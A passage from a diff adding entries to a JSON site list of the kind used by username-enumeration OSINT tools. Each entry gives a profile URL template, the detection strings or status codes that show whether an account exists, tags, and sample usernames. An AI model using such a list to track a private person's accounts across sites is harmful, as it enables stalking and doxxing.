\u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 2017536, + "urlMain": "https://forumyuristov.ru/", + "url": "https://forumyuristov.ru/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumophilia": { + "tags": [ + "forum", + "porn" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, but that user does not exist." + ], + "alexaRank": 21796, + "urlMain": "https://www.forumophilia.com", + "url": "https://www.forumophilia.com/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumreligions": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://forumreligions.ru", + "url": "https://forumreligions.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "ingvar", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 3482229 + }, + "Forums-bluemoon-mcfc": { + "tags": [ + "forum", + "gb" + ], + "engine": "XenForo", + "alexaRank": 312657, + "urlMain": "https://forums.bluemoon-mcfc.co.uk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumsi": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 4060509, + "urlMain": "http://www.forumsi.org", + "usernameClaimed": "Ahimas", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumteam": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 268366, + "urlMain": "https://forumteam.best/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fotothing": { + "disabled": true, + "tags": [ + "photo" + ], + "checkType": "message", + "absenceStrs": [ + "File Not Found" + ], + "alexaRank": 103043, + "urlMain": "http://www.fotothing.com", + "url": "http://www.fotothing.com/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Foursquare": { + "tags": [ + "geosocial", + "in" + ], + "checkType": "message", + "presenseStrs": [ + "Foursquare " + ], + "alexaRank": 3413, + "urlMain": "https://foursquare.com/", + "url": "https://foursquare.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fozo": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 619848, + "urlMain": "https://fozo.info/", + "url": "https://fozo.info/user/{username}/", + "usernameClaimed": "%D0%A8%D0%98%D0%9A", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fredmiranda": { + "tags": [ + "de", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "View Profile for" + ], + "alexaRank": 62153, + "urlMain": "https://www.fredmiranda.com", + "url": "https://www.fredmiranda.com/forum/viewprofile.php?Action=viewprofile&username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Framapiaf": { + "tags": [ + "mastodon" + ], + "checkType": "status_code", + "urlMain": "https://framapiaf.org", + "url": "https://framapiaf.org/@{username}", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + }, + "Free-lance.ua": { + "tags": [ + "freelance", + "ua" + ], + "checkType": "status_code", + "alexaRank": 2295317, + "urlMain": "https://free-lance.ua/", + "url": "https://free-lance.ua/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Free-lancers": { + "tags": [ + "freelance", + "ru" + ], + "checkType": "status_code", + "alexaRank": 969213, + "urlMain": "http://www.free-lancers.net", + "url": "http://www.free-lancers.net/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freecodecamp": { + "tags": [ + "coding", + "education", + "forum" + ], + "engine": "Discourse", + "alexaRank": 1295, + "urlMain": "https://www.freecodecamp.org/forum/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelance.habr": { + "tags": [ + "freelance", + "ru" + ], + "checkType": "status_code", + "alexaRank": 1265, + "urlMain": "https://freelance.habr.com/", + "url": "https://freelance.habr.com/freelancers/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelancebay": { + "tags": [ + "freelance", + "th" + ], + "checkType": "message", + "presenseStrs": [ + "\u0e2a\u0e21\u0e31\u0e04\u0e23\u0e2a\u0e21\u0e32\u0e0a\u0e34\u0e01\u0e40\u0e21\u0e37\u0e48\u0e2d" + ], + "alexaRank": 218599, + "urlMain": "https://www.freelancebay.com", + "url": "https://www.freelancebay.com/freelancer/{username}", + "usernameClaimed": "maysuphak", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelanced": { + "tags": [ + "freelance", + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 554707, + "urlMain": "https://www.freelanced.com", + "url": "https://www.freelanced.com/{username}", + "usernameClaimed": "mattphilleo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelancehunt": { + "tags": [ + "freelance", + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 40932, + "urlMain": "https://freelancehunt.com", + "url": "https://freelancehunt.com/freelancer/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freelancer.com": { + "tags": [ + "freelance", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "\"users\":{}" + ], + "alexaRank": 661, + "urlMain": "https://www.freelancer.com/", + "url": "https://www.freelancer.com/api/users/0.1/users?usernames%5B%5D={username}&compact=true", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Freepik": { + "tags": [ + "art", + "photo", + "stock" + ], + "checkType": "status_code", + "alexaRank": 147, + "urlMain": "https://www.freepik.com", + "url": "https://www.freepik.com/{username}", + "usernameClaimed": "chevanon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Freepo": { + "checkType": "response_url", + "alexaRank": 7571425, + "urlMain": "https://freepo.st", + "url": "https://freepo.st/freepost.cgi/user/public/{username}", + "usernameClaimed": "robocop", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "news" + ] + }, + "Freesound": { + "tags": [ + "music", + "us" + ], + "checkType": "status_code", + "alexaRank": 10440, + "urlMain": "https://freesound.org/", + "url": "https://freesound.org/people/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Fullhub": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "title>\u0412\u044b\u0434\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 | FullHub: \u0424\u043e\u0440\u0443\u043c \u043e \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445" + ], + "alexaRank": 1588355, + "urlMain": "https://fullhub.ru/", + "url": "https://fullhub.ru/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Funnyjunk": { + "tags": [ + "gb", + "us" + ], + "checkType": "response_url", + "alexaRank": 10023, + "urlMain": "https://funnyjunk.com/", + "url": "https://funnyjunk.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Funnyordie": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 50140, + "urlMain": "https://www.funnyordie.com", + "url": "https://www.funnyordie.com/users/{username}", + "usernameClaimed": "Marja_Berggren", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FurryFandom": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c" + ], + "alexaRank": 7935795, + "urlMain": "https://furry-fandom.ru/", + "url": "https://furry-fandom.ru/user?who={username}", + "usernameClaimed": "Finya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "G2g.com": { + "checkType": "message", + "presenseStrs": [ + "s Profile - G2G Games Marketplace" + ], + "absenceStrs": [ + "G2G: World Leading Digital Marketplace Platform" + ], + "url": "https://www.g2g.com/{username}", + "usernameClaimed": "user", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "G-news": { + "disabled": true, + "tags": [ + "in", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + ], + "alexaRank": 5900519, + "urlMain": "https://g-news.com.ua", + "url": "https://g-news.com.ua/forum_smf/profile/{username}/", + "usernameClaimed": "Glukodrom", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GBAtemp.net": { + "tags": [ + "de", + "forum", + "gaming", + "us" + ], + "engine": "XenForo", + "alexaRank": 23803, + "urlMain": "https://gbatemp.net/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GDProfiles": { + "checkType": "status_code", + "alexaRank": 2899283, + "urlMain": "https://gdprofiles.com/", + "url": "https://gdprofiles.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "GGIZI": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 668582, + "urlMain": "https://gg-izi.ru/", + "url": "https://gg-izi.ru/user/{username}", + "usernameClaimed": "nimses", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GPS-Forum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 3646635, + "urlMain": "http://www.gps-forum.ru", + "url": "http://www.gps-forum.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "sater", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gab": { + "tags": [ + "in", + "us" + ], + "urlProbe": "https://gab.com/api/v1/account_by_username/{username}", + "checkType": "status_code", + "presenseStrs": [ + "display_name" + ], + "absenceStrs": [ + "Record not found" + ], + "alexaRank": 2512, + "urlMain": "https://gab.com/", + "url": "https://gab.com/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "GaiaOnline": { + "tags": [ + "ro", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "No user ID specified or user does not exist!" + ], + "alexaRank": 38258, + "urlMain": "https://www.gaiaonline.com/", + "url": "https://www.gaiaonline.com/profiles/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Galya": { + "disabled": true, + "similarSearch": true, + "tags": [ + "ru", + "us" + ], + "regexCheck": "^[^_]{3,}$", + "checkType": "message", + "absenceStrs": [ + "div class=error_message" + ], + "alexaRank": 77736, + "urlMain": "https://m.galya.ru", + "url": "https://m.galya.ru/search_result.php?searchstring={username}", + "usernameClaimed": "annledi", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gam1ng": { + "disabled": true, + "tags": [ + "br", + "webcam" + ], + "errors": { + "Attention Required! | Cloudflare": "Cloudflare security protection detected" + }, + "checkType": "status_code", + "urlMain": "https://gam1ng.com.br", + "url": "https://gam1ng.com.br/user/{username}", + "usernameClaimed": "PinKgirl", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Twitter Shadowban": { + "tags": [ + "jp", + "sa" + ], + "urlProbe": "https://shadowban.eu/.api/{username}", + "checkType": "message", + "presenseStrs": [ + "exists\": true" + ], + "absenceStrs": [ + "exists\": false" + ], + "alexaRank": 61030, + "urlMain": "https://shadowban.eu", + "url": "https://shadowban.eu/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Gamblejoe": { + "tags": [ + "de", + "mk", + "ua" + ], + "checkType": "status_code", + "presenseStrs": [ + "profile-page" + ], + "alexaRank": 2094048, + "urlMain": "https://www.gamblejoe.com", + "url": "https://www.gamblejoe.com/profil/{username}/", + "usernameClaimed": "matthias", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GameRevolution": { + "tags": [ + "forum", + "gaming", + "us" + ], + "engine": "XenForo", + "alexaRank": 21572, + "urlMain": "https://forums.gamerevolution.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gamefaqs": { + "tags": [ + "gaming", + "us" + ], + "regexCheck": "^\\S+$", + "errors": { + "Are You a Robot?": "Captcha detected", + "Your IP address has been temporarily blocked due to a large number of HTTP requests": "Too many requests", + "your IP was banned": "IP ban" + }, + "checkType": "message", + "absenceStrs": [ + "404 Error: Page Not Found" + ], + "presenseStrs": [ + "UserID" + ], + "alexaRank": 875, + "urlMain": "https://gamefaqs.gamespot.com", + "url": "https://gamefaqs.gamespot.com/community/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gamesfrm": { + "tags": [ + "forum", + "tr" + ], + "engine": "XenForo", + "alexaRank": 1306974, + "urlMain": "https://www.gamesfrm.com", + "usernameClaimed": "zampara", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gamespot": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 875, + "urlMain": "https://www.gamespot.com/", + "url": "https://www.gamespot.com/profile/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Gamesubject": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 690202, + "urlMain": "https://gamesubject.com", + "url": "https://gamesubject.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gapyear": { + "tags": [ + "gb", + "in" + ], + "checkType": "status_code", + "alexaRank": 60505, + "urlMain": "https://www.gapyear.com", + "url": "https://www.gapyear.com/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GaragePunk": { + "tags": [ + "us" + ], + "checkType": "status_code", + "urlMain": "https://www.garagepunk.com", + "url": "https://www.garagepunk.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 3626803 + }, + "Garden": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 59582, + "urlMain": "https://garden.org", + "url": "https://garden.org/users/profile/{username}/", + "usernameClaimed": "Turbosaurus", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gardening-forums": { + "tags": [ + "forum", + "ph" + ], + "engine": "XenForo", + "alexaRank": 712299, + "urlMain": "https://www.gardening-forums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gardenstew": { + "disabled": true, + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 371220, + "urlMain": "https://www.gardenstew.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Gays": { + "disabled": true, + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 1188634, + "urlMain": "https://www.gays.com", + "url": "https://www.gays.com/p/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Geekdoing": { + "tags": [ + "gr", + "in", + "ir" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 1159327, + "urlMain": "https://geekdoing.com", + "url": "https://geekdoing.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Genius": { + "tags": [ + "music", + "us" + ], + "checkType": "status_code", + "alexaRank": 453, + "urlMain": "https://genius.com/", + "url": "https://genius.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GeniusArtists": { + "checkType": "status_code", + "url": "https://genius.com/artists/{username}", + "usernameClaimed": "genius", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gentlemint": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 505328, + "urlMain": "https://gentlemint.com", + "url": "https://gentlemint.com/users/{username}/", + "usernameClaimed": "zamoose", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Geodesist": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 165765, + "urlMain": "https://geodesist.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "German242": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 499888, + "urlMain": "https://board.german242.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gesundheitsfrage": { + "checkType": "status_code", + "url": "https://www.gesundheitsfrage.net/nutzer/{username}", + "usernameClaimed": "gutefrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Giantbomb": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 15115, + "urlMain": "https://www.giantbomb.com", + "url": "https://www.giantbomb.com/profile/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gigbucks": { + "tags": [ + "dz", + "eg", + "in", + "us" + ], + "checkType": "response_url", + "alexaRank": 135295, + "urlMain": "https://gigbucks.com/", + "url": "https://gigbucks.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gingerbread": { + "tags": [ + "gb" + ], + "checkType": "status_code", + "presenseStrs": [ + "My Profile" + ], + "alexaRank": 240144, + "urlMain": "https://www.gingerbread.org.uk", + "url": "https://www.gingerbread.org.uk/members/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GipsysTeam": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 67758, + "urlMain": "https://site.gipsyteam.ru/", + "url": "https://site.gipsyteam.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gitbook": { + "checkType": "status_code", + "url": "https://{username}.gitbook.io/", + "usernameClaimed": "gitbook", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GitHub": { + "tags": [ + "coding" + ], + "regexCheck": "^[a-zA-Z0-9](?:[a-zA-Z0-9]|-(?=[a-zA-Z0-9])){0,38}$", + "urlProbe": "https://api.github.com/users/{username}", + "checkType": "status_code", + "alexaRank": 83, + "urlMain": "https://www.github.com/", + "url": "https://github.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GitLab": { + "tags": [ + "coding" + ], + "urlProbe": "https://gitlab.com/api/v4/users?username={username}", + "checkType": "message", + "absenceStrs": [ + "[]" + ], + "alexaRank": 4649, + "urlMain": "https://gitlab.com/", + "url": "https://gitlab.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gitee": { + "tags": [ + "cn" + ], + "checkType": "status_code", + "alexaRank": 5093, + "urlMain": "https://gitee.com/", + "url": "https://gitee.com/{username}", + "usernameClaimed": "wizzer", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Glav": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u044b." + ], + "alexaRank": 124671, + "urlMain": "https://glav.su", + "url": "https://glav.su/members/?searchName={username}", + "usernameClaimed": "gvf", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Glbyh": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 8093405, + "urlMain": "https://glbyh.ru/", + "usernameClaimed": "ufo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gliger": { + "disabled": true, + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://www.gliger.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Globalvoices": { + "tags": [ + "sv", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "404 ERROR: PAGE NOT FOUND" + ], + "alexaRank": 78089, + "urlMain": "https://globalvoices.org", + "url": "https://globalvoices.org/author/{username}/", + "usernameClaimed": "7iber", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gnome-vcs": { + "checkType": "message", + "presenseStrs": [ + "Member since" + ], + "absenceStrs": [ + "You need to sign in or sign up" + ], + "url": "https://gitlab.gnome.org/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Go365": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 489173, + "urlMain": "https://community.go365.com", + "url": "https://community.go365.com/people/{username}", + "usernameClaimed": "go365admin3", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gofundme": { + "tags": [ + "finance", + "us" + ], + "checkType": "status_code", + "alexaRank": 1260, + "urlMain": "https://www.gofundme.com", + "url": "https://www.gofundme.com/f/{username}", + "usernameClaimed": "adamcoussins", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gog": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 5343, + "urlMain": "https://www.gog.com/", + "url": "https://www.gog.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Golangbridge": { + "tags": [ + "forum", + "in", + "sa", + "ua", + "us", + "vn" + ], + "engine": "Discourse", + "alexaRank": 195689, + "urlMain": "https://forum.golangbridge.org/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Golbis": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 106111, + "urlMain": "https://golbis.com", + "url": "https://golbis.com/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Goldderby": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 37176, + "urlMain": "https://www.goldderby.com", + "url": "https://www.goldderby.com/members/{username}/", + "usernameClaimed": "dakardii", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Goldroyal": { + "tags": [ + "bd", + "by", + "forum", + "ru", + "ua", + "ve" + ], + "engine": "vBulletin", + "alexaRank": 260992, + "urlMain": "http://goldroyal.net", + "usernameClaimed": "anton33", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GolfMonthly": { + "tags": [ + "forum", + "gb", + "us" + ], + "engine": "XenForo", + "urlMain": "https://forums.golf-monthly.co.uk/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Good-music": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 5386313, + "urlMain": "http://good-music.kiev.ua", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GoodReads": { + "tags": [ + "books", + "us" + ], + "checkType": "status_code", + "alexaRank": 329, + "urlMain": "https://www.goodreads.com/", + "url": "https://www.goodreads.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Google Maps": { + "tags": [ + "maps", + "us" + ], + "type": "gaia_id", + "checkType": "message", + "presenseStrs": [ + "[\"Contributions by" + ], + "absenceStrs": [ + "My Contributions to Google Maps" + ], + "alexaRank": 1, + "urlMain": "https://maps.google.com/", + "url": "https://www.google.com/maps/contrib/{username}", + "usernameClaimed": "105054951427011407574", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Google Plus (archived)": { + "checkType": "message", + "type": "gaia_id", + "alexaRank": 1, + "presenseStrs": [ + "original" + ], + "absenceStrs": [ + "[]" + ], + "urlMain": "https://plus.google.com", + "urlProbe": "https://web.archive.org/web/timemap/?url=http%3A%2F%2Fplus.google.com%2F{username}&matchType=prefix&collapse=urlkey&output=json&fl=original%2Cmimetype%2Ctimestamp%2Cendtimestamp%2Cgroupcount%2Cuniqcount&filter=!statuscode%3A%5B45%5D..&limit=100000&_=1624789582128", + "url": "https://web.archive.org/web/*/plus.google.com/{username}*", + "usernameClaimed": "117522081019092547227", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GooglePlayStore": { + "tags": [ + "apps", + "us" + ], + "checkType": "status_code", + "alexaRank": 1, + "urlMain": "https://play.google.com/store", + "url": "https://play.google.com/store/apps/developer?id={username}", + "usernameClaimed": "KONAMI", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gorod.dp.ua": { + "tags": [ + "de", + "forum", + "ua" + ], + "engine": "vBulletin", + "alexaRank": 66670, + "urlMain": "https://forum.gorod.dp.ua/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gorodanapa": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0442\u0430\u043a\u043e\u0433\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430 \u0444\u043e\u0440\u0443\u043c\u0430 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 4204120, + "urlMain": "http://gorodanapa.ru/", + "url": "http://gorodanapa.ru/forum/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gothic": { + "urlSubpath": "/forum", + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://gothic.su", + "usernameClaimed": "Lestat", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GotovimDoma": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + " \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + ], + "alexaRank": 30665, + "urlMain": "https://gotovim-doma.ru", + "url": "https://gotovim-doma.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "eda1", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Govloop": { + "tags": [ + "education" + ], + "checkType": "message", + "presenseStrs": [ + "xprofile-personal-li" + ], + "absenceStrs": [ + "article-404-thumb article-thumb" + ], + "alexaRank": 247058, + "urlMain": "https://www.govloop.com", + "url": "https://www.govloop.com/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gpodder": { + "checkType": "status_code", + "alexaRank": 2509811, + "urlMain": "https://gpodder.net/", + "url": "https://gpodder.net/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bit.ly": { + "tags": [ + "links" + ], + "checkType": "status_code", + "alexaRank": 2604, + "urlMain": "https://bit.ly", + "url": "https://bit.ly/{username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gps-data-team": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "" + ], + "alexaRank": 1021858, + "urlMain": "https://www.gps-data-team.com", + "url": "https://www.gps-data-team.com/pda-gps-navigation/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gps-forumCOM": { + "engine": "XenForo", + "alexaRank": 3328006, + "urlMain": "https://www.gps-forums.com", + "usernameClaimed": "johnash", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ] + }, + "Gradle": { + "checkType": "message", + "presenseStrs": [ + "Joined on" + ], + "absenceStrs": [ + "User not found" + ], + "url": "https://plugins.gradle.org/u/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Grailed": { + "checkType": "status_code", + "url": "https://www.grailed.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gramho": { + "tags": [ + "photo" + ], + "checkType": "message", + "presenseStrs": [ + "Instagram Posts" + ], + "alexaRank": 4795, + "urlMain": "https://gramho.com/", + "url": "https://gramho.com/explore-hashtag/{username}", + "source": "Instagram", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Gravatar": { + "tags": [ + "photo" + ], + "urlProbe": "http://en.gravatar.com/{username}.json", + "checkType": "message", + "presenseStrs": [ + "requestHash" + ], + "absenceStrs": [ + "User not found" + ], + "alexaRank": 5585, + "urlMain": "http://en.gravatar.com/", + "url": "http://en.gravatar.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gribnikikybani": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 40212, + "urlMain": 